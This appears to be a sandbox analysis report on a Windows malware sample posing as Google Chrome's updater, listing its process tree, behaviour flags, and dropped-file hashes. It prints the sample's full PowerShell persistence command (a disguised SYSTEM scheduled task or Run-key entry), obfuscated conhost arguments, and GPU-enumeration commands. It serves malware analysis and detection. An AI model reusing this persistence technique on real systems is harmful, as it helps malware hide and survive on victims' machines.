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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4184
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:4756
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:3588
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵PID:2640
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1700 -
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:3300 -
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
PID:2376
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
1.6MB
MD595156c1bc684c1bbe30b9128d8ea849c
SHA1b5bba551cfd07c56e75b54fa9646021e6ed6b716
SHA2568b207498e52315a67bea2d09257c4068a7a2ad8425283583b7c52ea494b5e12a
SHA512bb1bbc9b25da5fe6334118246aeecf2dc00376c64a756b9b80d087eb0915c49021c31954e68d8f3440eeff9f03c48b538c85930cbbbe773eddf1fb87644af449
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Filesize
504KB
MD51d96b4600888fe6e5159b153bd0071ae
SHA17646c240f8257e62c39d72da30265d42d1fe2ebf
SHA256ae41e4d85b378658df0cf2df7789b7b9ca3f259182e07db72ae5fb37bed8cb70
SHA5128be29baab025b4ef46ec7e6284de571375a11ae633c2c8fcacd5d51035d03b5117d8f70b2d80fa7f9333bd9efb828136424a331dba81fcef5b3ebd41f8856551
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Filesize
226B
MD5fdba80d4081c28c65e32fff246dc46cb
SHA174f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA256b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
SHA512b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
944B
MD5d28a889fd956d5cb3accfbaf1143eb6f
SHA1157ba54b365341f8ff06707d996b3635da8446f7
SHA25621e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
SHA5120b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c
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Filesize
1KB
MD54ef4f5d7b3865791232f3f7246c2c2b3
SHA1fb4de90489793061a0ac38cfa6866b4d7c2cc7dd
SHA2562baeb69d9d42715e3281ee465f85eef9d1e96c695462f2ddfed9498abd70c077
SHA51240c83c373b6c5f05256f6e5cd8e0ffcd5bbfe99c0bfdc284ac9522b17daf1aaa6634b6987e28f1b6dd80de7221669282dc1b7aea213dbb997ff2c9581211a301
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize4KB
MD5bdb25c22d14ec917e30faf353826c5de
SHA16c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA256e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
SHA512b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD5b42c70c1dbf0d1d477ec86902db9e986
SHA11d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA2568ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
SHA51257fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5